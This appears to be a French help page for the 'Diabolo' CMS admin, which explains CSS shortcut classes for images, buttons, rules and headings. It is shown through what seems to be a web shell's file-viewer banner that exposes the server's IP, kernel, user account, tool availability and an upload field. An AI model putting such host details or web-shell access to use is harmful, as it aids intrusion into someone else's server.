| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/live-snaps.fr/cp-admin/ |
Upload File : |
<div class="container" style="width: 90%; border: 0">
<div style="border: 0">
<div class="page-header">
<div class="container-fluid">
<h1>Version <?php echo$app_version ; ?></h1>
</div>
</div>
<h3>Ce qu'est un raccourcis...</h3>
<p>Un raccourcis Html est un '<strong>code</strong>' pré-installé sur votre version Diabolo qui génére une action.<br />
Par exemple, au lieu d'écrire une instruction complexe un seul mot suffit. Ce mot ou expression s'écrit dans votre Editeur en mode Code Source.</p>
<p><strong>Avant de vous lancer dans ce genre d'oprération nous vous conseillons de suivre une formation aux divers éléments HTML.</strong></p>
<p>Il existe également des raccourcis directement liés aux boutons de l'Editeur. On utilisera souvent le bouton des CLASSES CSS.</p>
<p>Ce bouton sur votre Editeur est le 13e en partant de la gauche sur la seconde ligne, DIV.</p>
<p>En cliquant dessus une fenêtre s'ouvre, il faut alors écrire dans le champs CLASSES CSS le nom du raccourcis en ayant préalablement sélectionné l'objet concerné.</p>
<p> </p>
<p>Attention : lorsque vous êtes dans une colonne BOX il est parfois nécessaire d'incrire le nom de la classe dans le code.</p>
<p>Exemple : <div class="Nom du raccourcis"> Ici l'objet </div></p>
<p> </p>
<p><strong>RACCOURCIS les plus souvent utilisés dans Diabolo</strong></p>
<table border="1" cellpadding="10" cellspacing="1" style="width: 100%;">
<tbody>
<tr>
<td style="width: 50%; background-color: rgb(238, 238, 238); text-align: center;">EFFETS</td>
<td style="width: 50%; background-color: rgb(238, 238, 238); text-align: center;">PROCEDURES</td>
</tr>
<tr>
<td>
<p><strong>IMAGES</strong></p>
<p>Effet Hover l'image est affichée en noir et blanc au passage de la souris les couleurs apparaissent. L'image d'origine est une image couleur dont la classe sera : gray</p>
</td>
<td>
<p><strong>CLASSE (bouton DIV) : </strong> gray</p>
<p><strong>CODE : </strong></p>
<p><div class="gray"><img alt="" src="/uploadfiles/images_pages/avatar.jpg" /></div></p>
</td>
</tr>
<tr>
<td>
<p><strong>IMAGES</strong></p>
<p>Effet sur le Clic. L'image miniature affichera l'image en grand dans une fenêtre JavaScript (exemple un diaporama).</p>
</td>
<td>
<p><strong>LIENS HYPERTEXTE</strong> sur la miniature vers la grande image.</p>
<p>Pour déclancher le <strong>JS </strong>le lien Hypertexte doit comporter comme <strong>CIBLE la fenêtre _parent</strong></p>
</td>
</tr>
<tr>
<td>
<p><strong>IMAGES FOND SECTION 2</strong></p>
<p>Il est possible de poser une image en fond de section 2 qui remplacera la couleur du thème.</p>
</td>
<td>Cliquer sur <strong>OPTIONS </strong>puis télécharger l'image depuis votre ordinateur.</td>
</tr>
<tr>
<td>
<p><strong>FILETS filet1, filet2, filet3, filet4, etc.</strong></p>
<p>Il existe plusieurs filets pré-enregistrés. Par exemple la page contact utilise pour les coordonnées (adresse, téléphone, etc) un filet fond blanc qui regroupe les 3 colonnes Html.</p>
<p>Classes : success, danger, alert</p>
</td>
<td>
<p><strong>CLASSE (bouton DIV) : </strong> <strong>nom du filet</strong> (blanc : filetblanc)</p>
<p><strong>CODE : </strong></p>
<p><div class="filetblanc">Eléments ou divers colonnes, etc.</div></p>
</td>
</tr>
<tr>
<td>
<p><strong>BOUTONS</strong></p>
<p>Plusieurs styles existent. Le plus commun est le bouton BTNN qui reprendra la couleur les liens Hypertextes et le Hover. Un lien Hypertexte est également posé sur ce bouton.</p>
</td>
<td>
<p><strong>CLASSE (bouton DIV) : </strong> nom du bouton (classique : btnn)</p>
<p><strong>CODE : </strong></p>
<p><div class="btnn"><a href="lien">Texte du bouton</a></div></p>
</td>
</tr>
<tr>
<td>
<p><strong>H1 et H2</strong></p>
<p>Toutes les balises de titre (h1 à h6) ont déjà leur CSS. Il suffit de sélectionner le texte puis de lui attribuer son niveau H. Un seul H1 par page est conseillé.</p>
<p>Pour donner l'air d'un H1 à un texte sans utiliser la balise Html, il suufit simplement de lui donner la classe.</p>
</td>
<td>
<p><strong>CLASSE (bouton DIV) : </strong> nom de la balise (h1 ou h2)</p>
<p><strong>CODE : </strong></p>
<p><div class="h1">Texte</div></p>
</td>
</tr>
</tbody>
</table>
<p><em>(Les classes peuvent se cumuler dans la même instruction)</em></p>
<ul>
<li>filet1</li>
<li>filet2</li>
<li>filet3</li>
<li>filet4</li>
<li>filetblanc</li>
<li>Classe : success</li>
<li>Classe : alert</li>
<li>Classe : danger</li>
<li>Classe : boxrouge, boxbleue, boxverte</li>
<li>style (couleur TEXTE générale du thème)</li>
<li>blanc (TEXTE peut s'appliquer dans les colonnes BOX et aux balises H)</li>
<li>noir (TEXTE peut s'appliquer dans les colonnes BOX et aux balises H)</li>
<li>gris (TEXTE peut s'appliquer dans les colonnes BOX et aux balises H)</li>
<li>img-responsive (force une image à devenir responsive)</li>
<li>taille_h1 (taille h1 et les effets sans la couleur)</li>
<li>hh1 (taille h1 uniquement)</li>
<li>option h1</li>
<li>taille_h2</li>
<li>taille_GD (idéal pour les FullSlides)</li>
<li>pre</li>
<li>cite</li>
<li>stitched_element</li>
<li>uppercase (passera tout le texte en majuscule)</li>
<li>btn-primary (bouton)</li>
<li>btnn</li>
<li>btn-primary-inverse</li>
<li>button</li>
<li>ppe btn (exemple bouton formulaire)</li>
<li>zoom (animation)</li>
<li>anileft (animation)</li>
<li>bouton_anime (animation)</li>
<li>bouton_anime_inverse (animation)</li>
<li>slider-gauche (animation)</li>
<li>slider-droite (animation)</li>
<li>slider-bas (animation)</li>
<li>fadeown (animation)</li>
<li>blur (images)</li>
<li>brightness (images)</li>
<li>contrast (images)</li>
<li>huerotate (images)</li>
<li>invert (images)</li>
<li>saturate (images)</li>
<li>sepia (images)</li>
<li>shadow (images)</li>
<li>gray (images)</li>
<li>rotation (images)</li>
<li>box-shadow (shadow autour d'un filet)</li>
<li>shadow (shadow autour des lettres)</li>
</ul>
<p> </p>
<p>Il est possible de créer une classe spéciale à la demande. Toutes les classes peuvent jouer ensemble ou séparément.</p>
<p> </p>
Par exemple dans l'Editeur : en cliquant sur Lire la suite... le TEXTE s'affichera. 4 classes existent : lirelasuite lirelasuite2 lirelasuite3 lirelasuite4 car pas de cumul des ID !
<br />
<pre>
<code>
<p><a href="#lirelasuite">Lire la suite...</a></p>
<div id="lirelasuite">VOTRE TEXTE</div>
</code>
</pre>
<p> </p>
</div>
</div>